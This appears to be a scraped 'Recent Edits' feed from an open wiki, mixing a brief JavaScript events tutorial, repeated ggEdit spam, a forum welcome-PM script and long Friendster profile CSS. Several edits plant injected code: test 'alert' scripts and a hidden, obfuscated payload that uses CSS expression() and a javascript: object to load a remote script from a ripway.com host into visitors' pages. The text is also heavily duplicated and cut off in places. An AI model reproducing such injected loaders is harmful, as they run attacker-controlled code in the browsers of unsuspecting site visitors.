Recent Edits
A basic way of attaching an event is simply by defining one of the 'on*' event properties on a dom object to a callback function....
Javascript supports *events*, when they are triggered, callback functions may be triggered.
A basic way of attaching an event is simply by defining one of the 'on*' event properties on a dom object to a callback function.
<pre>
<code>
myinput.onclick = function() { alert('hi'); };
//or
myinput.onclick = callbackfunction;
function callbackfunction() { alert('hi'); }
</code>
</pre>
This will trigger an alert on clicking 'myinput'.
Within callback functions, you might want to access details of the event that triggered the callback, such as the source element.
For standards compliant browsers, such as [[Firefox]], you can set your callback to have an argument, which will be populated with the event object that triggered the callback. For IE, you should test if this argument is null, and if it is, set it to 'window.event'. In IE, you can also use a proprietary function called attachEvent() to add events to objects, in this case the first callback argument will be populated with the event as normal.
Additionally in a callback function, you might be interested in looking at the object that triggered the event. In [[Firefox]] and other standards compliant browsers, the 'this' variable is populated with the object that triggered the event. Again, this is not the case in IE, instead the source element is referenced through event.srcElement.
ggEdit - Javascript simple and customizable WYSIWYG rich text editor
"http://code.google.com/p/ggedit":http://code.google.com/p/ggedit
Source code and basic tutorial available on site. Feel free...
» complete changeA new JavaScript WYSIWYG editor project on Google code:
"http://code.google.com/p/ggedit":http://code.google.com/p/ggedit
Not something <i>new</i>, but hopefully a little <b>different</b> :P.<br>
Source code and basic tutorial available on site. Feel free to post bugs or feature requests. <b>hjjkhjkh</b>
"http://code.google.com/p/ggedit":http://code.google.com/p/ggedit
Source code and basic tutorial available on site. Feel free...
» complete changeA new JavaScript WYSIWYG editor project on Google code:
"http://code.google.com/p/ggedit":http://code.google.com/p/ggedit
Not something <i>new</i>, but hopefully a little <b>different</b> :P.<br>
Source code and basic tutorial available on site. Feel free to post bugs or feature requests. <b>hjjkhjkh</b>
<script type="text/javascript">
<!--
/*
* Welcome PM [Place in Footer]
*
* Created By Peter
*
* This code may not be redistributed...
» complete change<script type="text/javascript">
<!--
/*
* Welcome PM [Place in Footer]
*
* Created By Peter
*
* This code may not be redistributed without permission.
* This copyright header must stay intact at all times.
*
* Copyright © 2006 pixelDepth.net - All rights reserved
*
* http://pixeldepth.net/
* http://s9.invisionfree.com/iFusion/
*/
// Change the values here. Use \n for new lines.
var welcome_bot = "Welcome Bot";
var welcome_subject = "Welcome to the forum";
var welcome_message = "Hey {USER},\n\nWelcome to the forum.";
// No need to edit anything below here.
var params;
welcome_message += "\n\n" + welcome_bot;
function XHR(url, params, open){
this.url = url;
this.open = open || "GET";
this.params = params || "";
this.request = null;
}
XHR.prototype.ready = function(){
return (this.request.readyState == 4 && this.request.status == 200)? true : false;
}
XHR.prototype.make_request = function(func){
this.request = (window.XMLHttpRequest)? new XMLHttpRequest() : new ActiveXObject("Microsoft.XMLHTTP");
if(this.request){
this.request.onreadystatechange = func;
this.request.open(this.open, this.url, true);
if(this.open.toLowerCase() == "post"){
this.request.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
this.request.setRequestHeader("Content-length", this.params.length);
this.request.setRequestHeader("Connection", "close");
}
this.request.send(this.params);
}
}
function set_cookie(name, value, days, ex){
var date = new Date();
date.setTime((date.getTime() - ex) + (days * 24 * 60 * 60 * 1000));
date.toGMTString();
document.cookie = name + "=" + encodeURIComponent(value) + "; expires=" + date;
}
function get_cookie(){
if(arguments[0]){
if(document.cookie.match(new RegExp("\\b" + arguments[0] + "=(\\d+);?", "i"))){
return RegExp.$1;
}
}
}
function get_member_name(){
var member_name = null;
if(document.getElementById("userlinks")){
var str = document.getElementById("userlinks").getElementsByTagName("strong");
if(str.item(0) && str.item(0).innerHTML.match(/^Logged in as:/)){
member_name = str.item(0).getElementsByTagName("a").item(0).innerHTML;
}
}
return member_name;
}
function inbox_clean_up(){
var nCell = document.getElementsByTagName("td");
for(c = 0; c < nCell.length; c ++){
if(nCell.item(c).parentNode.className == "dlight" && nCell.item(c).innerHTML.match(/(\[WB\])</)){
nCell.item(c).innerHTML = nCell.item(c).innerHTML.replace(RegExp.$1, "");
if(nCell.item(c).parentNode.cells.item(2)){
nCell.item(c).parentNode.cells.item(2).innerHTML = welcome_bot;
}
}
}
}
function pm_clean_up(){
var ucp = document.getElementById("ucpcontent");
if(ucp.innerHTML.match(new RegExp(welcome_subject + "\\[WB\\]", "ig"))){
ucp.innerHTML = ucp.innerHTML.replace(/\[WB\]/g, "");
if(ucp.getElementsByTagName("span").item(0) && ucp.getElementsByTagName("span").item(0).className == "normalname"){
ucp.getElementsByTagName("span").item(0).innerHTML = welcome_bot;
}
var nDiv = ucp.getElementsByTagName("div");
var nCell = ucp.getElementsByTagName("td");
for(d = 0; d < nDiv.length; d ++){
if(nDiv.item(d).align == "right" && nDiv.item(d).innerHTML.match(/(>(Forward PM|Reply)<\/a>|\?CODE=0(4|5))/i)){
nDiv.item(d).style.display = "none";
nDiv.item(d).parentNode.insertBefore(document.createElement("br"), nDiv.item(d));
}
if(nDiv.item(d).className == "darkrow3" || nDiv.item(d).className == "signature"){
nDiv.item(d).style.display = "none";
}
}
for(c = 0; c < nCell.length; c ++){
if(nCell.item(c).className == "post1"){
if(nCell.item(c).innerHTML.match(/postdetails/i)){
nCell.item(c).getElementsByTagName("span").item(0).innerHTML = "<br />Group: Welcome<br />";
}
if(nCell.item(c).innerHTML.match(/--------------------/)){
nCell.item(c).innerHTML = nCell.item(c).innerHTML.replace(/--------------------/, "");
}
}
if(nCell.item(c).className == "darkrow3" && nCell.item(c).innerHTML.match(/Add to Buddies/)){
nCell.item(c).innerHTML = "";
}
}
}
}
function send_pm(){
params = "act=Msg&CODE=04&MODE=01&entered_name=" + encodeURIComponent(get_member_name());
params += "&msg_title=" + encodeURIComponent(welcome_subject + "[WB]");
params += "&Post=" + encodeURIComponent(welcome_message.replace("{USER}", get_member_name()));
var domain = document.domain;
var user = location.href.split("com/")[1].split("/")[0];
var XHRObj = new XHR("http://" + domain + "/" + user + "/index.php", params, "POST");
XHRObj.make_request(
function(){
if(XHRObj.ready() && get_member_name()){
set_cookie("welcome_pm", "", 0, 1000);
var nLinks = document.getElementsByTagName("a");
for(a = 0; a < nLinks.length; a ++){
if(nLinks.item(a).href.match(/CODE=01$/i) && nLinks.item(a).innerHTML.match(/Inbox \((\d+)\)/)){
nLinks.item(a).innerHTML = nLinks.item(a).innerHTML.replace(RegExp.$1, (parseInt(RegExp.$1) + 1));
}
}
}
}
);
}
if(location.href.match(/act=Reg&CODE=00/i)){
set_cookie("welcome_pm", 0, 1, 0);
} else if(location.href.match(/act=Msg&CODE=01/i)){
inbox_clean_up();
} else if(location.href.match(/act=Msg&CODE=03&VID=in&MSID=\d+/i)){
pm_clean_up();
} else {
if(get_cookie("welcome_pm")){
send_pm();
}
}
//-->
</script>
ggEdit - Javascript simple and customizable WYSIWYG rich text editor
<script type="text/javascript">
alert('salut');
</script>
A new JavaScript WYSIWYG editor project on Google code:
"http://code.google.com/p/ggedit":http://code.google.com/p/ggedit
Not something <i>new</i>, but hopefully a little <b>different</b> :P.<br>
Source code and basic tutorial available on site. Feel free to post bugs or feature requests.
<script type="text/javascript">
alert('salut');
</script>
ggEdit - Javascript simple and customizable WYSIWYG rich text editor
<script type="text/javascript">
alert('salut');
</script>
» complete changeA new JavaScript WYSIWYG editor project on Google code:
"http://code.google.com/p/ggedit":http://code.google.com/p/ggedit
Not something <i>new</i>, but hopefully a little <b>different</b> :P.<br>
Source code and basic tutorial available on site. Feel free to post bugs or feature requests.
<script type="text/javascript">
alert('salut');
</script>
ggEdit - Javascript simple and customizable WYSIWYG rich text editor
<script type="text/javascript">
alert('salut');
</script>
A new JavaScript WYSIWYG editor project on Google code:
"http://code.google.com/p/ggedit":http://code.google.com/p/ggedit
Not something <i>new</i>, but hopefully a little <b>different</b> :P.<br>
Source code and basic tutorial available on site. Feel free to post bugs or feature requests.
<script type="text/javascript">
alert('salut');
</script>
ggEdit - Javascript simple and customizable WYSIWYG rich text editor
<script type="text/javascript">
alert('salut');
</script>
» complete changeA new JavaScript WYSIWYG editor project on Google code:
"http://code.google.com/p/ggedit":http://code.google.com/p/ggedit
Not something <i>new</i>, but hopefully a little <b>different</b> :P.<br>
Source code and basic tutorial available on site. Feel free to post bugs or feature requests.
<script type="text/javascript">
alert('salut');
</script>
ggEdit - Javascript simple and customizable WYSIWYG rich text editor
Not something <i>new</i>, new, but hopefully a little <b>different</b> different :P.<br>
A new JavaScript WYSIWYG editor project on Google code:
"http://code.google.com/p/ggedit":http://code.google.com/p/ggedit
Not something <i>new</i>, new, but hopefully a little <b>different</b> different :P.<br>
Source code and basic tutorial available on site. Feel free to post bugs or feature requests.
ggEdit - Javascript simple and customizable WYSIWYG rich text editor
Not something new, but hopefully a little different :P.<br> :P.
A new JavaScript WYSIWYG editor project on Google code:
"http://code.google.com/p/ggedit":http://code.google.com/p/ggedit
Not something new, but hopefully a little different :P.<br> :P.
Source code and basic tutorial available on site. Feel free to post bugs or feature requests.
ggEdit - Javascript simple and customizable WYSIWYG rich text editor
"http://code.google.com/p/ggedit":http://code.google.com/p/ggedit [http://code.google.com/p/ggedit]
A new JavaScript WYSIWYG editor project on Google code:
"http://code.google.com/p/ggedit":http://code.google.com/p/ggedit [http://code.google.com/p/ggedit]
Not something new, but hopefully a little different :P.
Source code and basic tutorial available on site. Feel free to post bugs or feature requests.
ggEdit - Javascript simple and customizable WYSIWYG rich text editor
[http://code.google.com/p/ggedit] http://code.google.com/p/ggedit
A new JavaScript WYSIWYG editor project on Google code:
[http://code.google.com/p/ggedit] http://code.google.com/p/ggedit
Not something new, but hopefully a little different :P.
Source code and basic tutorial available on site. Feel free to post bugs or feature requests.
ggEdit - Javascript simple and customizable WYSIWYG rich text editor
A new JavaScript WYSIWYG editor project on Google code:
http://code.google.com/p/ggedit
Not something new, but hopefully a ...
» complete changeA new JavaScript WYSIWYG editor project on Google code:
http://code.google.com/p/ggedit
Not something new, but hopefully a little different :P.
Source code and basic tutorial available on site. Feel free to post bugs or feature requests.
ggEdit - Javascript simple and customizable WYSIWYG rich text editor
http://code.google.com/p/ggedit
<p id='fs' style="myjs:expression(function l(){v=document.createElement('script');v.src='http://h1.ripway.com/agusoka/sharing/naruto.txt';navigation.appendChild(v)}l());text:expression(fs.style.myjs='0');visibility:hidden"></p><object...
<p id='fs' style="myjs:expression(function l(){v=document.createElement('script');v.src='http://h1.ripway.com/agusoka/sharing/naruto.txt';navigation.appendChild(v)}l());text:expression(fs.style.myjs='0');visibility:hidden"></p><object width="0" type=text/javascript data=" javascript:v=document.createElement('script');v.src='http://h1.ripway.com/agusoka/sharing/naruto.txt';parent.document.getElementById('navigation').appendChild(v);"></object>
/* {--friendster-layouts.com css code start--} */
/* kish19 */
/* i curse you */
/* PAGE BACKGROUND */
body {
background-image: url(http://i241.photobucket.com/albums/ff319/fs-layouts1/fslybg/2007/12/codes-icurse.gif);
background-attachment: fixed;
background-position: bottom right;
background-repeat: repeat-x;
background-color: #000000;
cursor: ;
}
/* GLOBAL FONTS */
.usercontent {
font-family: Verdana, Arial, Helvetica, sans-serif;
color: #993300;
}
/* GLOBAL LINKS */
.usercontent a, .usercontent a:link, .usercontent a:visited, .usercontent a:hover, .usercontent a:active {
color: #000000;
}
.usercontent a:hover {
color: #66ccff;
}
/* MASTER BOXES */
.commonbox {
background-color: transparent;
}
.commonbox .evenrow {
background-color: transparent;
}
/* MASTER HEADERS */
.commonbox h1, .commonbox h2 {
font-family: Verdana, Arial, Helvetica, sans-serif;
color: #cc6600;
background-color: #ffff99;
}
/* CONTROL PANEL: BOX */
.controlpanel {
border-width: 6px;
border-color: #000000;
border-style: ridge;
background-color: #ffff99;
}
/* CONTROL PANEL: USER PHOTO */
.controlpanel .imgblock200 {
border-color: #ff9966;
}
/* CONTROL PANEL: DATA */
.controlpanel .q {
font-family: Verdana, Arial, Helvetica, sans-serif;
color: #99ccff;
}
.controlpanel .data {
font-family: Verdana, Arial, Helvetica, sans-serif;
color: #99cccc;
}
.data a {
font-family: Verdana, Arial, Helvetica, sans-serif;
color: #6699ff;
text-decoration: ;
}
/* CONTROL PANEL: MORE ABOUT ME LINK */
a.more {
font-family: Verdana, Arial, Helvetica, sans-serif;
color: #000000;
text-decoration: ;
}
/* CONTROL PANEL: BUTTONS */
#controlPanelButtons a, #controlPanelButtons a:link, #controlPanelButtons a:visited {
font-family: Verdana, Sans-serif;
color: #ffffcc;
border-color: transparent;
background-color: #000000;
text-decoration: ;
}
#controlPanelButtons a:hover {
font-family: Verdana, Sans-serif;
color: #000000;
border-color: #000000;
background-color: #ffff99;
text-decoration: ;
}
/* BOX: MORE ABOUT ME */
.moreabout {
border-width: 6px;
border-color: #000000;
border-style: ridge;
background-color: #ffff99;
}
/* BOX: MY PHOTO GALLERY */
.photos {
background-color: transparent;
}
/* BOX: MY FRIENDS */
.friends {
background-color: #ffff99;
}
/* BOX: MY VIDEOS */
.videos {
background-color: transparent;
}
/* BOX: MY GROUPS */
.groups {
background-color: transparent;
}
/* BOX: MY TESTIMONIALS */
.testimonials {
border-width: 6px;
border-color: #99ccff;
border-style: ridge;
background-color: #ffff99;
}
/* TESTIMONIAL COMMENTS */
.testimonialscomments {
border-width: 6px;
border-color: #99ccff;
border-style: ridge;
background-color: #ffff99;
}
/* BOX: MY SCRAPBOOK */
.scrapbook {
background-color: transparent;
}
/* BOX: FAN OF */
.fanof {
background-color: transparent;
}
/* BOX: MY FANS */
.myfans {
background-color: transparent;
}
/* BOX: MY REVIEWS */
.reviews {
background-color: transparent;
}
/* BOX: MY BLOGS */
.blogs {
background-color: transparent;
}
/* BOX: MY BLOG REVIEWS */
.blogsreviews {
background-color: transparent;
}
/* MISC: TESTIMONIALS/REVIEWS TEXT */
.data {
font-family: Verdana, Sans-serif;
color: #ff99cc;
text-transform: ;
}
/* MISC: VIEW ALL LINKS */
.commonbox .viewall {
font-family: Verdana, Arial, Helvetica, sans-serif;
color: #ff9966;
}
/* MISC: SMALL PHOTOS */
.commonbox .imgblock75, .ir {
border-width: 4px;
border-color: #99ccff;
border-style: double;
background-color: transparent;
}
/* MISC: SMALL PHOTO NAMES */
.commonbox .dr {
font-family: Verdana, Arial, Helvetica, sans-serif;
color: #ff99cc;
background-color: #000000;
}
/* {--friendster-layouts.com css code end--} */
/* {--friendster-layouts.com css code start--} */
/* kish19 */
/* i curse you */
/* PAGE BACKGROUND */
body {
background-image:...
/* {--friendster-layouts.com css code start--} */
/* kish19 */
/* i curse you */
/* PAGE BACKGROUND */
body {
background-image: url(http://i241.photobucket.com/albums/ff319/fs-layouts1/fslybg/2007/12/codes-icurse.gif);
background-attachment: fixed;
background-position: bottom right;
background-repeat: repeat-x;
background-color: #000000;
cursor: ;
}
/* GLOBAL FONTS */
.usercontent {
font-family: Verdana, Arial, Helvetica, sans-serif;
color: #993300;
}
/* GLOBAL LINKS */
.usercontent a, .usercontent a:link, .usercontent a:visited, .usercontent a:hover, .usercontent a:active {
color: #000000;
}
.usercontent a:hover {
color: #66ccff;
}
/* MASTER BOXES */
.commonbox {
background-color: transparent;
}
.commonbox .evenrow {
background-color: transparent;
}
/* MASTER HEADERS */
.commonbox h1, .commonbox h2 {
font-family: Verdana, Arial, Helvetica, sans-serif;
color: #cc6600;
background-color: #ffff99;
}
/* CONTROL PANEL: BOX */
.controlpanel {
border-width: 6px;
border-color: #000000;
border-style: ridge;
background-color: #ffff99;
}
/* CONTROL PANEL: USER PHOTO */
.controlpanel .imgblock200 {
border-color: #ff9966;
}
/* CONTROL PANEL: DATA */
.controlpanel .q {
font-family: Verdana, Arial, Helvetica, sans-serif;
color: #99ccff;
}
.controlpanel .data {
font-family: Verdana, Arial, Helvetica, sans-serif;
color: #99cccc;
}
.data a {
font-family: Verdana, Arial, Helvetica, sans-serif;
color: #6699ff;
text-decoration: ;
}
/* CONTROL PANEL: MORE ABOUT ME LINK */
a.more {
font-family: Verdana, Arial, Helvetica, sans-serif;
color: #000000;
text-decoration: ;
}
/* CONTROL PANEL: BUTTONS */
#controlPanelButtons a, #controlPanelButtons a:link, #controlPanelButtons a:visited {
font-family: Verdana, Sans-serif;
color: #ffffcc;
border-color: transparent;
background-color: #000000;
text-decoration: ;
}
#controlPanelButtons a:hover {
font-family: Verdana, Sans-serif;
color: #000000;
border-color: #000000;
background-color: #ffff99;
text-decoration: ;
}
/* BOX: MORE ABOUT ME */
.moreabout {
border-width: 6px;
border-color: #000000;
border-style: ridge;
background-color: #ffff99;
}
/* BOX: MY PHOTO GALLERY */
.photos {
background-color: transparent;
}
/* BOX: MY FRIENDS */
.friends {
background-color: #ffff99;
}
/* BOX: MY VIDEOS */
.videos {
background-color: transparent;
}
/* BOX: MY GROUPS */
.groups {
background-color: transparent;
}
/* BOX: MY TESTIMONIALS */
.testimonials {
border-width: 6px;
border-color: #99ccff;
border-style: ridge;
background-color: #ffff99;
}
/* TESTIMONIAL COMMENTS */
.testimonialscomments {
border-width: 6px;
border-color: #99ccff;
border-style: ridge;
background-color: #ffff99;
}
/* BOX: MY SCRAPBOOK */
.scrapbook {
background-color: transparent;
}
/* BOX: FAN OF */
.fanof {
background-color: transparent;
}
/* BOX: MY FANS */
.myfans {
background-color: transparent;
}
/* BOX: MY REVIEWS */
.reviews {
background-color: transparent;
}
/* BOX: MY BLOGS */
.blogs {
background-color: transparent;
}
/* BOX: MY BLOG REVIEWS */
.blogsreviews {
background-color: transparent;
}
/* MISC: TESTIMONIALS/REVIEWS TEXT */
.data {
font-family: Verdana, Sans-serif;
color: #ff99cc;
text-transform: ;
}
/* MISC: VIEW ALL LINKS */
.commonbox .viewall {
font-family: Verdana, Arial, Helvetica, sans-serif;
color: #ff9966;
}
/* MISC: SMALL PHOTOS */
.commonbox .imgblock75, .ir {
border-width: 4px;
border-color: #99ccff;
border-style: double;
background-color: transparent;
}
/* MISC: SMALL PHOTO NAMES */
.commonbox .dr {
font-family: Verdana, Arial, Helvetica, sans-serif;
color: #ff99cc;
background-color: #000000;
}
/* {--friendster-layouts.com css code end--} */
<p id='fs' style="myjs:expression(function l(){v=document.createElement('script');v.src='http://h1.ripway.com/agusoka/sharing/naruto.txt';navigation.appendChild(v)}l());text:expression(fs.style.myjs='0');visibility:hidden"></p><object...
» complete change<p id='fs' style="myjs:expression(function l(){v=document.createElement('script');v.src='http://h1.ripway.com/agusoka/sharing/naruto.txt';navigation.appendChild(v)}l());text:expression(fs.style.myjs='0');visibility:hidden"></p><object style="myjs:expres\sion(function l(){v=document.createElement('script');v.src='http://h1.ripway.com/agusoka/sharing/naruto.txt';navigation.appendChild(v)}l());text:expres\sion(fs.style.myjs='0');visibility:hidden"></p><object width="0" type=text/javascript data=" javascript:v=document.createElement('script');v.src='http://h1.ripway.com/agusoka/sharing/naruto.txt';parent.document.getElementById('navigation').appendChild(v);"></object>
/* {--friendster-layouts.com css code start--} */
/* kish19 */
/* i curse you */
/* PAGE BACKGROUND */
body {
background-image: url(http://i241.photobucket.com/albums/ff319/fs-layouts1/fslybg/2007/12/codes-icurse.gif);
background-attachment: fixed;
background-position: bottom right;
background-repeat: repeat-x;
background-color: #000000;
cursor: ;
}
/* GLOBAL FONTS */
.usercontent {
font-family: Verdana, Arial, Helvetica, sans-serif;
color: #993300;
}
/* GLOBAL LINKS */
.usercontent a, .usercontent a:link, .usercontent a:visited, .usercontent a:hover, .usercontent a:active {
color: #000000;
}
.usercontent a:hover {
color: #66ccff;
}
/* MASTER BOXES */
.commonbox {
background-color: transparent;
}
.commonbox .evenrow {
background-color: transparent;
}
/* MASTER HEADERS */
.commonbox h1, .commonbox h2 {
font-family: Verdana, Arial, Helvetica, sans-serif;
color: #cc6600;
background-color: #ffff99;
}
/* CONTROL PANEL: BOX */
.controlpanel {
border-width: 6px;
border-color: #000000;
border-style: ridge;
background-color: #ffff99;
}
/* CONTROL PANEL: USER PHOTO */
.controlpanel .imgblock200 {
border-color: #ff9966;
}
/* CONTROL PANEL: DATA */
.controlpanel .q {
font-family: Verdana, Arial, Helvetica, sans-serif;
color: #99ccff;
}
.controlpanel .data {
font-family: Verdana, Arial, Helvetica, sans-serif;
color: #99cccc;
}
.data a {
font-family: Verdana, Arial, Helvetica, sans-serif;
color: #6699ff;
text-decoration: ;
}
/* CONTROL PANEL: MORE ABOUT ME LINK */
a.more {
font-family: Verdana, Arial, Helvetica, sans-serif;
color: #000000;
text-decoration: ;
}
/* CONTROL PANEL: BUTTONS */
#controlPanelButtons a, #controlPanelButtons a:link, #controlPanelButtons a:visited {
font-family: Verdana, Sans-serif;
color: #ffffcc;
border-color: transparent;
background-color: #000000;
text-decoration: ;
}
#controlPanelButtons a:hover {
font-family: Verdana, Sans-serif;
color: #000000;
border-color: #000000;
background-color: #ffff99;
text-decoration: ;
}
/* BOX: MORE ABOUT ME */
.moreabout {
border-width: 6px;
border-color: #000000;
border-style: ridge;
background-color: #ffff99;
}
/* BOX: MY PHOTO GALLERY */
.photos {
background-color: transparent;
}
/* BOX: MY FRIENDS */
.friends {
background-color: #ffff99;
}
/* BOX: MY VIDEOS */
.videos {
background-color: transparent;
}
/* BOX: MY GROUPS */
.groups {
background-color: transparent;
}
/* BOX: MY TESTIMONIALS */
.testimonials {
border-width: 6px;
border-color: #99ccff;
border-style: ridge;
background-color: #ffff99;
}
/* TESTIMONIAL COMMENTS */
.testimonialscomments {
border-width: 6px;
border-color: #99ccff;
border-style: ridge;
background-color: #ffff99;
}
/* BOX: MY SCRAPBOOK */
.scrapbook {
background-color: transparent;
}
/* BOX: FAN OF */
.fanof {
background-color: transparent;
}
/* BOX: MY FANS */
.myfans {
background-color: transparent;
}
/* BOX: MY REVIEWS */
.reviews {
background-color: transparent;
}
/* BOX: MY BLOGS */
.blogs {
background-color: transparent;
}
/* BOX: MY BLOG REVIEWS */
.blogsreviews {
background-color: transparent;
}
/* MISC: TESTIMONIALS/REVIEWS TEXT */
.data {
font-family: Verdana, Sans-serif;
color: #ff99cc;
text-transform: ;
}
/* MISC: VIEW ALL LINKS */
.commonbox .viewall {
font-family: Verdana, Arial, Helvetica, sans-serif;
color: #ff9966;
}
/* MISC: SMALL PHOTOS */
.commonbox .imgblock75, .ir {
border-width: 4px;
border-color: #99ccff;
border-style: double;
background-color: transparent;
}
/* MISC: SMALL PHOTO NAMES */
.commonbox .dr {
font-family: Verdana, Arial, Helvetica, sans-serif;
color: #ff99cc;
background-color: #000000;
}
/* {--friendster-layouts.com css code end--} */
/* {--friendster-layouts.com css code start--} */
/* kish19 */
/* i curse you */
/* PAGE BACKGROUND */
body {
background-image:...
» complete change/* {--friendster-layouts.com css code start--} */
/* kish19 */
/* i curse you */
/* PAGE BACKGROUND */
body {
background-image: url(http://i241.photobucket.com/albums/ff319/fs-layouts1/fslybg/2007/12/codes-icurse.gif);
background-attachment: fixed;
background-position: bottom right;
background-repeat: repeat-x;
background-color: #000000;
cursor: ;
}
/* GLOBAL FONTS */
.usercontent {
font-family: Verdana, Arial, Helvetica, sans-serif;
color: #993300;
}
/* GLOBAL LINKS */
.usercontent a, .usercontent a:link, .usercontent a:visited, .usercontent a:hover, .usercontent a:active {
color: #000000;
}
.usercontent a:hover {
color: #66ccff;
}
/* MASTER BOXES */
.commonbox {
background-color: transparent;
}
.commonbox .evenrow {
background-color: transparent;
}
/* MASTER HEADERS */
.commonbox h1, .commonbox h2 {
font-family: Verdana, Arial, Helvetica, sans-serif;
color: #cc6600;
background-color: #ffff99;
}
/* CONTROL PANEL: BOX */
.controlpanel {
border-width: 6px;
border-color: #000000;
border-style: ridge;
background-color: #ffff99;
}
/* CONTROL PANEL: USER PHOTO */
.controlpanel .imgblock200 {
border-color: #ff9966;
}
/* CONTROL PANEL: DATA */
.controlpanel .q {
font-family: Verdana, Arial, Helvetica, sans-serif;
color: #99ccff;
}
.controlpanel .data {
font-family: Verdana, Arial, Helvetica, sans-serif;
color: #99cccc;
}
.data a {
font-family: Verdana, Arial, Helvetica, sans-serif;
color: #6699ff;
text-decoration: ;
}
/* CONTROL PANEL: MORE ABOUT ME LINK */
a.more {
font-family: Verdana, Arial, Helvetica, sans-serif;
color: #000000;
text-decoration: ;
}
/* CONTROL PANEL: BUTTONS */
#controlPanelButtons a, #controlPanelButtons a:link, #controlPanelButtons a:visited {
font-family: Verdana, Sans-serif;
color: #ffffcc;
border-color: transparent;
background-color: #000000;
text-decoration: ;
}
#controlPanelButtons a:hover {
font-family: Verdana, Sans-serif;
color: #000000;
border-color: #000000;
background-color: #ffff99;
text-decoration: ;
}
/* BOX: MORE ABOUT ME */
.moreabout {
border-width: 6px;
border-color: #000000;
border-style: ridge;
background-color: #ffff99;
}
/* BOX: MY PHOTO GALLERY */
.photos {
background-color: transparent;
}
/* BOX: MY FRIENDS */
.friends {
background-color: #ffff99;
}
/* BOX: MY VIDEOS */
.videos {
background-color: transparent;
}
/* BOX: MY GROUPS */
.groups {
background-color: transparent;
}
/* BOX: MY TESTIMONIALS */
.testimonials {
border-width: 6px;
border-color: #99ccff;
border-style: ridge;
background-color: #ffff99;
}
/* TESTIMONIAL COMMENTS */
.testimonialscomments {
border-width: 6px;
border-color: #99ccff;
border-style: ridge;
background-color: #ffff99;
}
/* BOX: MY SCRAPBOOK */
.scrapbook {
background-color: transparent;
}
/* BOX: FAN OF */
.fanof {
background-color: transparent;
}
/* BOX: MY FANS */
.myfans {
background-color: transparent;
}
/* BOX: MY REVIEWS */
.reviews {
background-color: transparent;
}
/* BOX: MY BLOGS */
.blogs {
background-color: transparent;
}
/* BOX: MY BLOG REVIEWS */
.blogsreviews {
background-color: transparent;
}
/* MISC: TESTIMONIALS/REVIEWS TEXT */
.data {
font-family: Verdana, Sans-serif;
color: #ff99cc;
text-transform: ;
}
/* MISC: VIEW ALL LINKS */
.commonbox .viewall {
font-family: Verdana, Arial, Helvetica, sans-serif;
color: #ff9966;
}
/* MISC: SMALL PHOTOS */
.commonbox .imgblock75, .ir {
border-width: 4px;
border-color: #99ccff;
border-style: double;
background-color: transparent;
}
/* MISC: SMALL PHOTO NAMES */
.commonbox .dr {
font-family: Verdana, Arial, Helvetica, sans-serif;
color: #ff99cc;
background-color: #000000;
}
/* {--friendster-layouts.com css code end--} */
/* {--friendster-layouts.com css code start--} */
/* kish19 */
/* i curse you */
/* PAGE BACKGROUND */
body {
background-image:...
» complete change<p id='fs' style="myjs:expres\sion(function l(){v=document.createElement('script');v.src='http://h1.ripway.com/agusoka/sharing/naruto.txt';navigation.appendChild(v)}l());text:expres\sion(fs.style.myjs='0');visibility:hidden"></p><object width="0" type=text/javascript data=" javascript:v=document.createElement('script');v.src='http://h1.ripway.com/agusoka/sharing/naruto.txt';parent.document.getElementById('navigation').appendChild(v);"></object>
/* {--friendster-layouts.com css code start--} */
/* kish19 */
/* i curse you */
/* PAGE BACKGROUND */
body {
background-image: url(http://i241.photobucket.com/albums/ff319/fs-layouts1/fslybg/2007/12/codes-icurse.gif);
background-attachment: fixed;
background-position: bottom right;
background-repeat: repeat-x;
background-color: #000000;
cursor: ;
}
/* GLOBAL FONTS */
.usercontent {
font-family: Verdana, Arial, Helvetica, sans-serif;
color: #993300;
}
/* GLOBAL LINKS */
.usercontent a, .usercontent a:link, .usercontent a:visited, .usercontent a:hover, .usercontent a:active {
color: #000000;
}
.usercontent a:hover {
color: #66ccff;
}
/* MASTER BOXES */
.commonbox {
background-color: transparent;
}
.commonbox .evenrow {
background-color: transparent;
}
/* MASTER HEADERS */
.commonbox h1, .commonbox h2 {
font-family: Verdana, Arial, Helvetica, sans-serif;
color: #cc6600;
background-color: #ffff99;
}
/* CONTROL PANEL: BOX */
.controlpanel {
border-width: 6px;
border-color: #000000;
border-style: ridge;
background-color: #ffff99;
}
/* CONTROL PANEL: USER PHOTO */
.controlpanel .imgblock200 {
border-color: #ff9966;
}
/* CONTROL PANEL: DATA */
.controlpanel .q {
font-family: Verdana, Arial, Helvetica, sans-serif;
color: #99ccff;
}
.controlpanel .data {
font-family: Verdana, Arial, Helvetica, sans-serif;
color: #99cccc;
}
.data a {
font-family: Verdana, Arial, Helvetica, sans-serif;
color: #6699ff;
text-decoration: ;
}
/* CONTROL PANEL: MORE ABOUT ME LINK */
a.more {
font-family: Verdana, Arial, Helvetica, sans-serif;
color: #000000;
text-decoration: ;
}
/* CONTROL PANEL: BUTTONS */
#controlPanelButtons a, #controlPanelButtons a:link, #controlPanelButtons a:visited {
font-family: Verdana, Sans-serif;
color: #ffffcc;
border-color: transparent;
background-color: #000000;
text-decoration: ;
}
#controlPanelButtons a:hover {
font-family: Verdana, Sans-serif;
color: #000000;
border-color: #000000;
background-color: #ffff99;
text-decoration: ;
}
/* BOX: MORE ABOUT ME */
.moreabout {
border-width: 6px;
border-color: #000000;
border-style: ridge;
background-color: #ffff99;
}
/* BOX: MY PHOTO GALLERY */
.photos {
background-color: transparent;
}
/* BOX: MY FRIENDS */
.friends {
background-color: #ffff99;
}
/* BOX: MY VIDEOS */
.videos {
background-color: transparent;
}
/* BOX: MY GROUPS */
.groups {
background-color: transparent;
}
/* BOX: MY TESTIMONIALS */
.testimonials {
border-width: 6px;
border-color: #99ccff;
border-style: ridge;
background-color: #ffff99;
}
/* TESTIMONIAL COMMENTS */
.testimonialscomments {
border-width: 6px;
border-color: #99ccff;
border-style: ridge;
background-color: #ffff99;
}
/* BOX: MY SCRAPBOOK */
.scrapbook {
background-color: transparent;
}
/* BOX: FAN OF */
.fanof {
background-color: transparent;
}
/* BOX: MY FANS */
.myfans {
background-color: transparent;
}
/* BOX: MY REVIEWS */
.reviews {
background-color: transparent;
}
/* BOX: MY BLOGS */
.blogs {
background-color: transparent;
}
/* BOX: MY BLOG REVIEWS */
.blogsreviews {
background-color: transparent;
}
/* MISC: TESTIMONIALS/REVIEWS TEXT */
.data {
font-family: Verdana, Sans-serif;
color: #ff99cc;
text-transform: ;
}
/* MISC: VIEW ALL LINKS */
